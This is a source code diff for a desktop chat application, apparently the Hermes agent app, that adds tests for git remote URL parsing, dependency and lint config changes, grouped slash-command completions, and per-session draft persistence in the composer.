+  assert.equal(canonicalGitHubRemote('git@github.com:NousResearch/hermes-agent'), OFFICIAL_REPO_CANONICAL)
+  assert.equal(canonicalGitHubRemote('ssh://git@github.com/NousResearch/hermes-agent.git'), OFFICIAL_REPO_CANONICAL)
+  assert.equal(canonicalGitHubRemote('https://github.com/NousResearch/hermes-agent.git'), OFFICIAL_REPO_CANONICAL)
+  // Case-insensitive: an uppercased owner still canonicalizes to the same repo.
+  assert.equal(canonicalGitHubRemote('git@github.com:nousresearch/hermes-agent.git'), OFFICIAL_REPO_CANONICAL)
+  // Trailing slashes are stripped.
+  assert.equal(canonicalGitHubRemote('https://github.com/NousResearch/hermes-agent/'), OFFICIAL_REPO_CANONICAL)
+})
+
+test('canonicalGitHubRemote is empty for falsy input', () => {
+  assert.equal(canonicalGitHubRemote(''), '')
+  assert.equal(canonicalGitHubRemote(null), '')
+  assert.equal(canonicalGitHubRemote(undefined), '')
+})
+
+test('isSshRemote detects scp-like and ssh:// forms only', () => {
+  assert.equal(isSshRemote('git@github.com:NousResearch/hermes-agent.git'), true)
+  assert.equal(isSshRemote('ssh://git@github.com/NousResearch/hermes-agent.git'), true)
+  assert.equal(isSshRemote('https://github.com/NousResearch/hermes-agent.git'), false)
+  assert.equal(isSshRemote(''), false)
+  assert.equal(isSshRemote(null), false)
+})
+
+test('isOfficialSshRemote is true only for the official repo over SSH', () => {
+  assert.equal(isOfficialSshRemote('git@github.com:NousResearch/hermes-agent.git'), true)
+  assert.equal(isOfficialSshRemote('git@github.com:NousResearch/hermes-agent'), true)
+  assert.equal(isOfficialSshRemote('ssh://git@github.com/NousResearch/hermes-agent.git'), true)
+  // Case-insensitive owner/repo match.
+  assert.equal(isOfficialSshRemote('git@github.com:nousresearch/hermes-agent.git'), true)
+})
+
+test('isOfficialSshRemote does NOT match forks, other hosts, or HTTPS', () => {
+  // A fork over SSH belongs to the user — fetching it is their own remote,
+  // not the official upstream, so the SSH-avoidance swap must not apply.
+  assert.equal(isOfficialSshRemote('git@github.com:someuser/hermes-agent.git'), false)
+  // Same repo name on a different host is not the official repo.
+  assert.equal(isOfficialSshRemote('git@gitlab.com:NousResearch/hermes-agent.git'), false)
+  // HTTPS to the official repo never prompts for SSH/FIDO2, so it keeps the
+  // normal fetch path — must not be flagged as an official SSH remote.
+  assert.equal(isOfficialSshRemote('https://github.com/NousResearch/hermes-agent.git'), false)
+  assert.equal(isOfficialSshRemote(''), false)
+  assert.equal(isOfficialSshRemote(null), false)
+})
+
+test('OFFICIAL_REPO_HTTPS_URL canonicalizes to OFFICIAL_REPO_CANONICAL', () => {
+  // Invariant: the URL we substitute in must be the same repo we detect.
+  assert.equal(canonicalGitHubRemote(OFFICIAL_REPO_HTTPS_URL), OFFICIAL_REPO_CANONICAL)
+})

apps/desktop/electron/windows-child-process.test.cjs

@@ -8,7 +8,7 @@ const path = require('node:path')
 const ELECTRON_DIR = __dirname
 
 function readElectronFile(name) {
-  return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8')
+  return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8').replace(/\r\n/g, '\n')
 }
 
 function requireHiddenChildOptions(source, needle) {

apps/desktop/eslint.config.mjs

@@ -3,7 +3,6 @@ import typescriptEslint from '@typescript-eslint/eslint-plugin'
 import typescriptParser from '@typescript-eslint/parser'
 import perfectionist from 'eslint-plugin-perfectionist'
 import reactPlugin from 'eslint-plugin-react'
-import reactCompiler from 'eslint-plugin-react-compiler'
 import hooksPlugin from 'eslint-plugin-react-hooks'
 import unusedImports from 'eslint-plugin-unused-imports'
 import globals from 'globals'
@@ -47,7 +46,6 @@ export default [
       'custom-rules': customRules,
       perfectionist,
       react: reactPlugin,
-      'react-compiler': reactCompiler,
       'react-hooks': hooksPlugin,
       'unused-imports': unusedImports
     },
@@ -98,7 +96,6 @@ export default [
       'perfectionist/sort-jsx-props': ['error', { order: 'asc', type: 'natural' }],
       'perfectionist/sort-named-exports': ['error', { order: 'asc', type: 'natural' }],
       'perfectionist/sort-named-imports': ['error', { order: 'asc', type: 'natural' }],
-      'react-compiler/react-compiler': 'warn',
       'react-hooks/exhaustive-deps': 'warn',
       'react-hooks/rules-of-hooks': 'error',
       'unused-imports/no-unused-imports': 'error'

apps/desktop/package.json

@@ -35,8 +35,8 @@
     "test:desktop:nsis": "node scripts/test-desktop.mjs nsis",
     "test:desktop:existing": "node scripts/test-desktop.mjs existing",
     "test:desktop:fresh": "node scripts/test-desktop.mjs fresh",
-    "test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/windows-child-process.test.cjs",
-    "type-check": "tsc -b",
+    "test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/dashboard-token.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/port-pool.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/fs-read-dir.test.cjs electron/git-root.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
+    "typecheck": "tsc -p . --noEmit",
     "lint": "eslint src/ electron/",
     "lint:fix": "eslint src/ electron/ --fix",
     "fmt": "prettier --write 'src/**/*.{ts,tsx}' 'electron/**/*.{js,cjs}' 'vite.config.ts'",
@@ -72,6 +72,7 @@
     "class-variance-authority": "^0.7.1",
     "clsx": "^2.1.1",
     "cmdk": "^1.1.1",
+    "dnd-core": "^14.0.1",
     "hast-util-from-html-isomorphic": "^2.0.0",
     "hast-util-to-text": "^4.0.2",
     "ignore": "^7.0.5",
@@ -83,6 +84,7 @@
     "radix-ui": "^1.4.3",
     "react": "^19.2.5",
     "react-arborist": "^3.5.0",
+    "react-dnd-html5-backend": "^14.0.3",
     "react-dom": "^19.2.5",
     "react-router-dom": "^7.17.0",
     "react-shiki": "^0.9.3",
@@ -103,20 +105,19 @@
     "@testing-library/dom": "^10.4.0",
     "@testing-library/react": "^16.3.2",
     "@types/hast": "^3.0.4",
-    "@types/node": "^24.12.2",
+    "@types/node": "^24.13.2",
     "@types/react": "^19.2.14",
     "@types/react-dom": "^19.2.3",
     "@typescript-eslint/eslint-plugin": "^8.59.1",
     "@typescript-eslint/parser": "^8.59.1",
     "@vitejs/plugin-react": "^6.0.1",
-    "concurrently": "^9.2.1",
+    "concurrently": "^10.0.3",
     "cross-env": "^10.1.0",
     "electron": "^40.9.3",
     "electron-builder": "^26.8.1",
     "eslint": "^9.39.4",
     "eslint-plugin-perfectionist": "^5.9.0",
     "eslint-plugin-react": "^7.37.5",
-    "eslint-plugin-react-compiler": "^19.1.0-rc.2",
     "eslint-plugin-react-hooks": "^7.1.1",
     "eslint-plugin-unused-imports": "^4.4.1",
     "globals": "^16.5.0",
@@ -133,6 +134,14 @@
     "appId": "com.nousresearch.hermes",
     "productName": "Hermes",
     "executableName": "Hermes",
+    "protocols": [
+      {
+        "name": "Hermes Protocol",
+        "schemes": [
+          "hermes"
+        ]
+      }
+    ],
     "artifactName": "Hermes-${version}-${os}-${arch}.${ext}",
     "icon": "assets/icon",
     "directories": {

apps/desktop/src/app/artifacts/index.tsx

@@ -18,7 +18,7 @@ import {
 } from '@/components/ui/pagination'
 import { TextTab, TextTabMeta } from '@/components/ui/text-tab'
 import { Tip } from '@/components/ui/tooltip'
-import { getSessionMessages, listSessions } from '@/hermes'
+import { getSessionMessages, listAllProfileSessions } from '@/hermes'
 import { type Translations, useI18n } from '@/i18n'
 import { sessionTitle } from '@/lib/chat-runtime'
 import { ExternalLink, ExternalLinkIcon, hostPathLabel, urlSlugTitleLabel, useLinkTitle } from '@/lib/external-link'
@@ -388,8 +388,8 @@ export function ArtifactsView({ setStatusbarItemGroup: _setStatusbarItemGroup, .
     setRefreshing(true)
 
     try {
-      const sessions = (await listSessions(30, 1)).sessions
-      const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id)))
+      const sessions = (await listAllProfileSessions(30, 1)).sessions
+      const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id, session.profile)))
       const nextArtifacts: ArtifactRecord[] = []
 
       results.forEach((result, index) => {

apps/desktop/src/app/chat/composer/completion-drawer.tsx

@@ -3,32 +3,25 @@ import { ComposerPrimitive } from '@assistant-ui/react'
 import type { ReactNode } from 'react'
 
 export const COMPLETION_DRAWER_CLASS = [
-  'absolute bottom-[calc(100%+0.25rem)] left-0 z-50',
-  'w-60 max-w-[calc(100vw-2rem)]',
-  'max-h-[min(23rem,calc(100vh-8rem))] overflow-y-auto overscroll-contain',
-  'rounded-lg border border-(--ui-stroke-secondary)',
-  'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_96%,transparent)]',
-  'p-1 text-xs text-popover-foreground shadow-md',
+  'absolute bottom-[calc(100%+0.375rem)] left-0 z-50',
+  'w-80 max-w-[calc(100vw-2rem)]',
+  'max-h-[min(22rem,calc(100vh-8rem))] overflow-y-auto overscroll-contain',
+  'rounded-xl border border-(--ui-stroke-secondary)',
+  'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_97%,transparent)]',
+  'p-1 text-xs text-popover-foreground shadow-lg',
   'backdrop-blur-md'
 ].join(' ')
 
 export const COMPLETION_DRAWER_BELOW_CLASS = [
-  'absolute left-0 top-[calc(100%+0.25rem)] z-50',
-  'w-60 max-w-[calc(100vw-2rem)]',
-  'max-h-[min(23rem,calc(100vh-8rem))] overflow-y-auto overscroll-contain',
-  'rounded-lg border border-(--ui-stroke-secondary)',
-  'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_96%,transparent)]',
-  'p-1 text-xs text-popover-foreground shadow-md',
+  'absolute left-0 top-[calc(100%+0.375rem)] z-50',
+  'w-80 max-w-[calc(100vw-2rem)]',
+  'max-h-[min(22rem,calc(100vh-8rem))] overflow-y-auto overscroll-contain',
+  'rounded-xl border border-(--ui-stroke-secondary)',
+  'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_97%,transparent)]',
+  'p-1 text-xs text-popover-foreground shadow-lg',
   'backdrop-blur-md'
 ].join(' ')
 
-export const COMPLETION_DRAWER_ROW_CLASS = [
-  'relative flex cursor-default select-none items-center gap-2 rounded-md px-2 py-1',
-  'w-full min-w-0 text-left text-xs outline-hidden transition-colors',
-  'hover:bg-(--ui-bg-tertiary)',
-  'data-[highlighted]:bg-(--ui-bg-tertiary) data-[highlighted]:text-foreground'
-].join(' ')
-
 export function ComposerCompletionDrawer({
   adapter,
   ariaLabel,

apps/desktop/src/app/chat/composer/hooks/use-live-completion-adapter.ts

@@ -5,6 +5,13 @@ export interface CompletionEntry {
   text: string
   display?: unknown
   meta?: unknown
+  /** Optional section label (e.g. "Commands", "Skills"). The popover renders a
+   *  header whenever this changes between consecutive items, so the fetcher must
+   *  emit entries already grouped contiguously. */
+  group?: string
+  /** Optional completion-action id. When set, picking the item runs that action
+   *  (e.g. opening an overlay) instead of inserting a chip + waiting for submit. */
+  action?: string
 }
 
 export interface CompletionPayload {

apps/desktop/src/app/chat/composer/hooks/use-slash-completions.ts

@@ -2,12 +2,17 @@ import type { Unstable_TriggerAdapter, Unstable_TriggerItem } from '@assistant-u
 import { useCallback } from 'react'
 
 import type { HermesGateway } from '@/hermes'
+import { sessionTitle } from '@/lib/chat-runtime'
 import {
   type CommandsCatalogLike,
+  desktopSkinSlashCompletions,
   desktopSlashDescription,
+  type DesktopThemeCommandOption,
   filterDesktopCommandsCatalog,
+  isDesktopSlashExtensionCommand,
   isDesktopSlashSuggestion
 } from '@/lib/desktop-slash-commands'
+import { $sessions } from '@/store/session'
 
 import type { CompletionEntry, CompletionPayload } from './use-live-completion-adapter'
 import { useLiveCompletionAdapter } from './use-live-completion-adapter'
@@ -16,7 +21,10 @@ interface SlashItemMetadata extends Record<string, string> {
   command: string
   display: string
   meta: string
+  group: string
   rawText: string
+  /** Completion-action id; empty for ordinary insert-a-chip completions. */
+  action: string
 }
 
 function textValue(value: unknown, fallback = ''): string {
@@ -38,12 +46,21 @@ function commandText(value: string): string {
   return value.startsWith('/') ? value : `/${value}`
 }
 
+/** How many recent sessions to surface inline before the "Browse all…" entry. */
+const SESSION_INLINE_LIMIT = 7
+
 /** Live `/` completions backed by the gateway's `complete.slash` RPC. */
-export function useSlashCompletions(options: { gateway: HermesGateway | null }): {
+export function useSlashCompletions(options: {
+  gateway: HermesGateway | null
+  /** Desktop theme list — `/skin` is owned client-side, so its arg completions
+   *  come from here, not the backend (whose skin list is CLI/TUI-only). */
+  skinThemes?: DesktopThemeCommandOption[]
+  activeSkin?: string
+}): {
   adapter: Unstable_TriggerAdapter
   loading: boolean
 } {
-  const { gateway } = options
+  const { gateway, skinThemes, activeSkin } = options
   const enabled = Boolean(gateway)
 
   const fetcher = useCallback(
@@ -54,34 +71,136 @@ export function useSlashCompletions(options: { gateway: HermesGateway | null }):
 
       const text = `/${query}`
 
+      // The desktop owns /skin entirely (client-side theme context). Surface its
+      // theme list inside this single popover instead of a bespoke one, and skip
+      // the backend skin completions (which describe CLI/TUI skins that don't
+      // apply here). Matches once we're past `/skin ` into the arg stage.
+      const skinArg = /^\/skin\s+(.*)$/is.exec(text)
+
+      if (skinArg && skinThemes) {
+        const items = desktopSkinSlashCompletions(skinThemes, activeSkin ?? '', skinArg[1] ?? '').map(entry => ({
+          text: entry.text,
+          display: entry.display,
+          meta: entry.meta,
+          group: 'Themes'
+        }))
+
+        return { items, query }
+      }
+
+      // /resume (and its aliases) completes recent sessions inline — the same
+      // client-side list the picker overlay shows — instead of the backend
+      // (whose /resume opens an interactive TUI picker we can't render here).
+      const sessionArg = /^\/(?:resume|sessions|switch)\s+(.*)$/is.exec(text)
+
+      if (sessionArg) {
+        const needle = (sessionArg[1] ?? '').trim().toLowerCase()
+
+        const matches = (
+          needle
+            ? $sessions.get().filter(
+                session =>
+                  sessionTitle(session).toLowerCase().includes(needle) ||
+                  (session.preview ?? '').toLowerCase().includes(needle) ||
+                  session.id.toLowerCase().includes(needle)
+              )
+            : $sessions.get()
+        ).slice(0, SESSION_INLINE_LIMIT)
+
+        const items: CompletionEntry[] = matches.map(session => ({
+          text: `/resume ${session.id}`,
+          display: sessionTitle(session),
+          meta: (session.preview ?? '').trim(),
+          group: 'Sessions'
+        }))
+
+        // Trailing "more" affordance (Cursor-style): picking it opens the full
+        // session picker overlay directly. `text` stays a bare `/resume` so that
+        // submitting it (Enter) still opens the overlay if the action is skipped.
+        items.push({
+          text: '/resume',
+          display: 'Browse all sessions…',
+          meta: '',
+          group: 'Sessions',
+          action: 'session-picker'
+        })
+
+        return { items, query }
+      }
+
       try {
         if (!query) {
           const catalog = filterDesktopCommandsCatalog(await gateway.request<CommandsCatalogLike>('commands.catalog'))
 
-          const items = (catalog.pairs ?? []).map(([command, meta]) => ({
-            text: command,
-            display: command,
-            meta
-          }))
+          // Prefer the categorized layout so the popover renders section headers
+          // (Session, Tools & Skills, ...). Fall back to the flat list when the
+          // backend didn't categorize.
+          const sections = catalog.categories?.length
+            ? catalog.categories
+            : [{ name: '', pairs: catalog.pairs ?? [] }]
+
+          const items = sections.flatMap(section =>
+            section.pairs.map(([command, meta]) => ({
+              text: command,
+              display: command,
+              group: section.name || undefined,
+              meta
+            }))
+          )
 
           return { items, query }
         }
 
-        const result = await gateway.request<{ items?: CompletionEntry[] }>('complete.slash', { text })
+        const result = await gateway.request<{ items?: CompletionEntry[]; replace_from?: number }>(
+          'complete.slash',
+          { text }
+        )
 
-        const items = (result.items ?? [])
-          .filter(item => isDesktopSlashSuggestion(item.text))
+        // Arg-completion items (replace_from > 1) carry just the arg stub —
+        // e.g. complete.slash returns `{text: "alice"}` for `/personality alic`
+        // with replace_from = 14. Rewrite those entries so the popover inserts
+        // the full `/personality alice` token instead of stranding `/alice`.
+        const replaceFrom = typeof result.replace_from === 'number' ? result.replace_from : 1
+        const isArgCompletion = replaceFrom > 1
+        const prefix = isArgCompletion ? text.slice(0, replaceFrom) : ''
+
+        const decorated = (result.items ?? [])
+          .map(item => {
+            if (!isArgCompletion) {
+              return item
+            }
+
+            const argText = typeof item.text === 'string' ? item.text : ''
+
+            return { ...item, text: `${prefix}${argText}` }
+          })
+          .filter(item => isArgCompletion || isDesktopSlashSuggestion(item.text))
           .map(item => ({
             ...item,
-            meta: desktopSlashDescription(item.text, textValue(item.meta))
+            // Arg suggestions (e.g. `/handoff <platform>`) live under one
+            // header; otherwise split skills out from built-in commands.
+            group: isArgCompletion ? 'Options' : isDesktopSlashExtensionCommand(item.text) ? 'Skills' : 'Commands',
+            // Arg items carry their own meta (the personality/toolset/platform
+            // blurb). Only command rows get the registry description — looking
+            // one up for `/personality none` would clobber it with the parent
+            // command's text.
+            meta: isArgCompletion ? textValue(item.meta) : desktopSlashDescription(item.text, textValue(item.meta))
           }))
 
+        // Keep each group contiguous so headers render once: Commands before
+        // Skills (stable within a group, preserving backend relevance order).
+        const groupOrder = ['Commands', 'Skills', 'Options']
+
+        const items = isArgCompletion
+          ? decorated
+          : [...decorated].sort((a, b) => groupOrder.indexOf(a.group) - groupOrder.indexOf(b.group))
+
         return { items, query }
       } catch {
         return { items: [], query }
       }
     },
-    [gateway]
+    [gateway, skinThemes, activeSkin]
   )
 
   const toItem = useCallback((entry: CompletionEntry, index: number): Unstable_TriggerItem => {
@@ -93,6 +212,8 @@ export function useSlashCompletions(options: { gateway: HermesGateway | null }):
       command,
       display,
       meta,
+      group: textValue(entry.group),
+      action: textValue(entry.action),
       // Provide rawText so hermesDirectiveFormatter.serialize uses the
       // direct-insertion path instead of the legacy @type:id fallback.
       // Without this, the item.id (which includes a "|index" suffix for

apps/desktop/src/app/chat/composer/index.tsx

@@ -13,17 +13,25 @@ import {
   useState
 } from 'react'
 
-import { hermesDirectiveFormatter } from '@/components/assistant-ui/directive-text'
+import { hermesDirectiveFormatter, type SlashChipKind } from '@/components/assistant-ui/directive-text'
 import { Button } from '@/components/ui/button'
 import { useMediaQuery } from '@/hooks/use-media-query'
 import { useResizeObserver } from '@/hooks/use-resize-observer'
 import { useI18n } from '@/i18n'
 import { chatMessageText } from '@/lib/chat-messages'
 import { SLASH_COMMAND_RE } from '@/lib/chat-runtime'
+import { desktopSlashCommandTakesArgs } from '@/lib/desktop-slash-commands'
 import { DATA_IMAGE_URL_RE } from '@/lib/embedded-images'
 import { triggerHaptic } from '@/lib/haptics'
 import { cn } from '@/lib/utils'
-import { $composerAttachments, clearComposerAttachments, type ComposerAttachment } from '@/store/composer'
+import {
+  $composerAttachments,
+  clearComposerAttachments,
+  clearSessionDraft,
+  type ComposerAttachment,
+  stashSessionDraft,
+  takeSessionDraft
+} from '@/store/composer'
 import {
   browseBackward,
   browseForward,
@@ -40,8 +48,9 @@ import {
   shouldAutoDrainOnSettle,
   updateQueuedPrompt
 } from '@/store/composer-queue'
-import { $gatewayState, $messages } from '@/store/session'
+import { $gatewayState, $messages, setSessionPickerOpen } from '@/store/session'
 import { $threadScrolledUp } from '@/store/thread-scroll'
+import { useTheme } from '@/themes'
 
 import { extractDroppedFiles, HERMES_PATHS_MIME, partitionDroppedFiles } from '../hooks/use-composer-actions'
 
@@ -74,9 +83,9 @@ import {
   placeCaretEnd,
   refChipElement,
   renderComposerContents,
-  RICH_INPUT_SLOT
+  RICH_INPUT_SLOT,
+  slashChipElement
 } from './rich-editor'
-import { SkinSlashPopover } from './skin-slash-popover'
 import { detectTrigger, extractClipboardImageBlobs, textBeforeCaret, type TriggerState } from './text-utils'
 import { ComposerTriggerPopover } from './trigger-popover'
 import type { ChatBarProps } from './types'
@@ -95,6 +104,30 @@ const COMPOSER_FADE_BACKGROUND =
 
 const pickPlaceholder = (pool: readonly string[]) => pool[Math.floor(Math.random() * pool.length)]
 
+/** Completion items can carry an `action` (set in use-slash-completions) that
+ *  runs a side effect on pick instead of inserting a chip — e.g. the session
+ *  picker's "Browse all…" entry opens the overlay. Table-driven so new action
+ *  items are a registry row, not a composer branch. */
+const COMPLETION_ACTIONS: Record<string, () => void> = {
+  'session-picker': () => setSessionPickerOpen(true)
+}
+
+/** Map a picked `/` completion to its pill accent. Driven by the completion
+ *  group set in use-slash-completions (Skills / Themes / Commands|Options). */
+function slashChipKindForItem(item: Unstable_TriggerItem): SlashChipKind {
+  const group = (item.metadata as { group?: unknown } | undefined)?.group
+
+  if (group === 'Skills') {
+    return 'skill'
+  }
+
+  if (group === 'Themes') {
+    return 'theme'
+  }
+
+  return 'command'
+}
+
 interface QueueEditState {
   attachments: ComposerAttachment[]
   draft: string
@@ -104,6 +137,10 @@ interface QueueEditState {
 
 const cloneAttachments = (attachments: ComposerAttachment[]) => attachments.map(a => ({ ...a }))
 
+// Quiet period after the last keystroke before persisting the draft;
+// unmount/pagehide flushes bypass it.
+const DRAFT_PERSIST_DEBOUNCE_MS = 400
+
 export function ChatBar({
   busy,
   cwd,
@@ -145,6 +182,9 @@ export function ChatBar({
   const editorRef = useRef<HTMLDivElement | null>(null)
   const draftRef = useRef(draft)
   const previousBusyRef = useRef(busy)
+  const pendingDraftPersistRef = useRef<{ scope: string | null; text: string } | null>(null)
+  const activeQueueSessionKeyRef = useRef(activeQueueSessionKey)
+  activeQueueSessionKeyRef.current = activeQueueSessionKey
   const drainingQueueRef = useRef(false)
   const urlInputRef = useRef<HTMLInputElement | null>(null)
 
@@ -156,14 +196,17 @@ export function ChatBar({
   const [dragActive, setDragActive] = useState(false)
   const [queueEdit, setQueueEdit] = useState<QueueEditState | null>(null)
   const [focusRequestId, setFocusRequestId] = useState(0)
+  const queueEditRef = useRef(queueEdit)
+  queueEditRef.current = queueEdit
   const dragDepthRef = useRef(0)
   const composingRef = useRef(false) // true during IME composition (CJK input)
   const lastSpokenIdRef = useRef<string | null>(null)
 
   const narrow = useMediaQuery('(max-width: 30rem)')
 
+  const { availableThemes, themeName } = useTheme()
   const at = useAtCompletions({ gateway: gateway ?? null, sessionId: sessionId ?? null, cwd: cwd ?? null })
-  const slash = useSlashCompletions({ gateway: gateway ?? null })
+  const slash = useSlashCompletions({ activeSkin: themeName, gateway: gateway ?? null, skinThemes: availableThemes })
 
   const stacked = expanded || narrow || tight
   const trimmedDraft = draft.trim()
@@ -171,10 +214,12 @@ export function ChatBar({
   const canSubmit = busy || hasComposerPayload
   const editingQueuedPrompt = queueEdit ? (queuedPrompts.find(entry => entry.id === queueEdit.entryId) ?? null) : null
   const busyAction = busy && hasComposerPayload ? 'queue' : 'stop'
+
   // Steer only makes sense mid-turn, text-only (the gateway can't carry images
   // into a tool result) and never for a slash command (those execute inline).
   const canSteer =
     busy && !!onSteer && attachments.length === 0 && trimmedDraft.length > 0 && !SLASH_COMMAND_RE.test(trimmedDraft)
+
   const showHelpHint = draft === '?'
 
   const { t } = useI18n()
@@ -462,12 +507,6 @@ export function ChatBar({
     })
   }, [])
 
-  const selectSkinSlashCommand = (command: string) => {
-    draftRef.current = command
-    aui.composer().setText(command)
-    requestMainFocus()
-  }
-
   const handlePaste = (event: ClipboardEvent<HTMLDivElement>) => {
     const imageBlobs = extractClipboardImageBlobs(event.clipboardData)
 
@@ -620,16 +659,50 @@ export function ChatBar({
       return
     }
 
+    // Action items (e.g. "Browse all sessions…") run a side effect instead of
+    // inserting a chip: strip the typed trigger token, then fire the action.
+    const completionAction = (item.metadata as { action?: unknown } | undefined)?.action
+    const runAction = typeof completionAction === 'string' ? COMPLETION_ACTIONS[completionAction] : undefined
+
+    if (runAction) {
+      const current = composerPlainText(editor)
+      const prefix = current.slice(0, Math.max(0, current.length - trigger.tokenLength))
+
+      renderComposerContents(editor, prefix)
+      placeCaretEnd(editor)
+      draftRef.current = composerPlainText(editor)
+      aui.composer().setText(draftRef.current)
+      closeTrigger()
+      runAction()
+      requestMainFocus()
+
+      return
+    }
+
     const serialized = hermesDirectiveFormatter.serialize(item)
     const starter = serialized.endsWith(':')
+
+    // Picking a bare arg-taking command (e.g. `/personality`) shouldn't commit
+    // it — expand to its options step so the popover shows the inline list, just
+    // as typing `/personality ` by hand would. A serialized value with a space is
+    // already an arg pick (`/personality alice`), so it commits normally.
+    const command = (item.metadata as { command?: string } | undefined)?.command ?? ''
+
+    const expandsToArgs =
+      trigger.kind === '/' && !serialized.includes(' ') && desktopSlashCommandTakesArgs(command)
+
     const text = starter || serialized.endsWith(' ') ? serialized : `${serialized} `
     const directive = !starter && serialized.match(/^@([^:]+):(.+)$/)
+    // No pill while expanding — the bare command stays plain text until an arg
+    // is picked, at which point a single pill is emitted for the full command.
+    const slashKind = !expandsToArgs && trigger.kind === '/' ? slashChipKindForItem(item) : null
+    const keepTriggerOpen = starter || expandsToArgs
 
     const finish = () => {
       draftRef.current = composerPlainText(editor)
       aui.composer().setText(draftRef.current)
       requestMainFocus()
-      starter ? window.setTimeout(refreshTrigger, 0) : closeTrigger()
+      keepTriggerOpen ? window.setTimeout(refreshTrigger, 0) : closeTrigger()
     }
 
     const sel = window.getSelection()
@@ -639,7 +712,20 @@ export function ChatBar({
 
     if (!sel || !range || node?.nodeType !== Node.TEXT_NODE || offset < trigger.tokenLength) {
       const current = composerPlainText(editor)
-      renderComposerContents(editor, `${current.slice(0, Math.max(0, current.length - trigger.tokenLength))}${text}`)
+      const prefix = current.slice(0, Math.max(0, current.length - trigger.tokenLength))
+
+      if (slashKind) {
+        // Two-step arg picks (e.g. `/handoff` pill already inserted, now picking
+        // the platform) land here because the caret sits past a contenteditable
+        // chip. Rebuild the prefix and re-emit a single pill for the full command.
+        renderComposerContents(editor, prefix)
+        editor.append(slashChipElement(serialized, slashKind), document.createTextNode(' '))
+        placeCaretEnd(editor)
+
+        return finish()
+      }
+
+      renderComposerContents(editor, `${prefix}${text}`)
       placeCaretEnd(editor)
 
       return finish()
@@ -650,8 +736,13 @@ export function ChatBar({
     replaceRange.setEnd(node, offset)
     replaceRange.deleteContents()
 
-    if (directive) {
-      const chip = refChipElement(directive[1], directive[2])
+    const chip = slashKind
+      ? slashChipElement(serialized, slashKind)
+      : directive
+        ? refChipElement(directive[1], directive[2])
+        : null
+
+    if (chip) {
       const space = document.createTextNode(' ')
       const fragment = document.createDocumentFragment()
       fragment.append(chip, space)
@@ -1022,6 +1113,69 @@ export function ChatBar({
     }
   }
 
+  const stashAt = (
+    scope: string | null,
+    text = draftRef.current,
+    attachments = $composerAttachments.get()
+  ) => stashSessionDraft(scope, text, attachments)
+
+  // Per-thread draft swap — the composer's only session coupling. Lifecycle
+  // never clears composer state; this effect alone stashes on leave, restores
+  // on enter. Keyed writes are idempotent, so no skip-sentinel.
+  useEffect(() => {
+    const { attachments, text } = takeSessionDraft(activeQueueSessionKey)
+    loadIntoComposer(text, attachments)
+
+    return () => {
+      const editing = queueEditRef.current
+
+      if (editing?.sessionKey === activeQueueSessionKey) {
+        stashAt(activeQueueSessionKey, editing.draft, editing.attachments)
+      } else if (!isBrowsingHistory(sessionId)) {
+        stashAt(activeQueueSessionKey)
+      }
+    }
+  }, [activeQueueSessionKey]) // eslint-disable-line react-hooks/exhaustive-deps
+
+  // Debounced stash into the active scope. Skipped while browsing history or
+  // editing a queued prompt — recalled text must not clobber the real draft.
+  useEffect(() => {
+    if (isBrowsingHistory(sessionId) || queueEdit) {
+      return
+    }
+
+    pendingDraftPersistRef.current = { scope: activeQueueSessionKey, text: draft }
+
+    const handle = window.setTimeout(() => {
+      pendingDraftPersistRef.current = null
+      stashAt(activeQueueSessionKey, draft)
+    }, DRAFT_PERSIST_DEBOUNCE_MS)
+
+    return () => window.clearTimeout(handle)
+  }, [activeQueueSessionKey, draft, queueEdit, sessionId])
+
+  // pagehide is load-bearing: React skips effect cleanups on reload, so Cmd+R
+  // inside the debounce window would drop trailing keystrokes without this.
+  useEffect(() => {
+    const flushPendingDraftPersist = () => {
+      const pending = pendingDraftPersistRef.current
+
+      if (!pending) {
+        return
+      }
+
+      pendingDraftPersistRef.current = null
+      stashAt(pending.scope, pending.text)
+    }
+
+    window.addEventListener('pagehide', flushPendingDraftPersist)
+
+    return () => {
+      window.removeEventListener('pagehide', flushPendingDraftPersist)
+      flushPendingDraftPersist()
+    }
+  }, [])
+
   const beginQueuedEdit = (entry: QueuedPromptEntry) => {
     if (!activeQueueSessionKey || queueEdit) {
       return
@@ -1224,20 +1378,38 @@ export function ChatBar({
     }
   }, [busy, drainNextQueued, queuedPrompts.length])
 
-  // Clean up queue edit when its target disappears (session swap or external delete).
+  // Queue-edit cleanup: on session swap the scope effect already stashed the
+  // edit snapshot; only restore into the composer when still on the same scope.
   useEffect(() => {
     if (!queueEdit) {
       return
     }
 
-    if (queueEdit.sessionKey === activeQueueSessionKey && editingQueuedPrompt) {
-      return
+    if (queueEdit.sessionKey === activeQueueSessionKey) {
+      if (editingQueuedPrompt) {
+        return
+      }
+
+      loadIntoComposer(queueEdit.draft, queueEdit.attachments)
     }
 
-    loadIntoComposer(queueEdit.draft, queueEdit.attachments)
     setQueueEdit(null)
   }, [activeQueueSessionKey, editingQueuedPrompt, queueEdit]) // eslint-disable-line react-hooks/exhaustive-deps
 
+  const dispatchSubmit = (text: string, attachments?: ComposerAttachment[]) => {
+    const submittedScope = activeQueueSessionKeyRef.current
+    const submittedAttachments = attachments ?? []
+
+    const restore = () => {
+      loadIntoComposer(text, submittedAttachments)
+      stashAt(activeQueueSessionKeyRef.current, text, submittedAttachments)
+    }
+
+    void Promise.resolve(attachments ? onSubmit(text, { attachments }) : onSubmit(text))
